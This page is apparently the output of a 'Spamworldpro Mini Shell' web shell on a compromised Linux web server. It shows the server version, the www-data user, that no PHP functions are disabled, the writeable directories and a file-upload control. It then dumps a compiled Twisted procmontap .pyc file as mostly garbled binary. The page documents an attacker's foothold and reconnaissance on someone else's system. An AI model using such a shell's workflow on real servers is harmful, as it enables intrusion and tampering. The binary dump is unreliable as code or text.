Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/runner/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/runner/__pycache__/procmontap.cpython-310.pyc
o

�b�	�@sJdZddlmZmZddlmZddlmZGdd�dej�Zdd�Z	d	S)
z>
Support for creating a service which runs a process monitor.
�)�List�Sequence)�usage)�ProcessMonitorc@sreZdZUdZdZddddegddd	d
egdddd
egddddeggZgZee	e
ed<dZdd�Z
dd�ZdS)�OptionszF
    Define the options accepted by the I{twistd procmon} plugin.
    z[procmon options] commandline�	threshold�t�zRHow long a process has to live before the death is considered instant, in seconds.�killtime�k�zpHow long a process being killed has to get its affairs in order before it gets killed with an unmaskable signal.�minrestartdelay�mzLThe minimum time (in seconds) to wait before attempting to restart a process�maxrestartdelay�MizLThe maximum time (in seconds) to wait before attempting to restart a process�optFlagsa`procmon runs processes, monitors their progress, and restarts them when they
die.

procmon will not attempt to restart a process that appears to die instantly;
with each "instant" death (less than 1 second, by default), it will delay
approximately twice as long before restarting it. A successful run will reset
the counter.

Eg twistd procmon sleep 10cGs||d<dS)zQ
        Grab the command line that is going to be started and monitored
        �argsN�)�selfrrr�;/usr/lib/python3/dist-packages/twisted/runner/procmontap.py�	parseArgsIszOptions.parseArgscCst|d�dkr
t�d��dS)z)
        Check for dependencies.
        rr	z$Please specify a process commandlineN)�lenr�
UsageError)rrrr�postOptionsOs
�zOptions.postOptionsN)�__name__�
__module__�__qualname__�__doc__�synopsis�float�
optParametersrrr�str�__annotations__�longdescrrrrrrrs@
�	�
�
��&rcCsLt�}|d|_|d|_|d|_|d|_|�d�|d�|d�|S)Nrr
r
r� r)rr�killTime�minRestartDelay�maxRestartDelay�
addProcess�join)�config�srrr�makeServiceWs



r,N)
r�typingrr�twisted.pythonr�twisted.runner.procmonrrr,rrrr�<module>sH

Spamworldpro Mini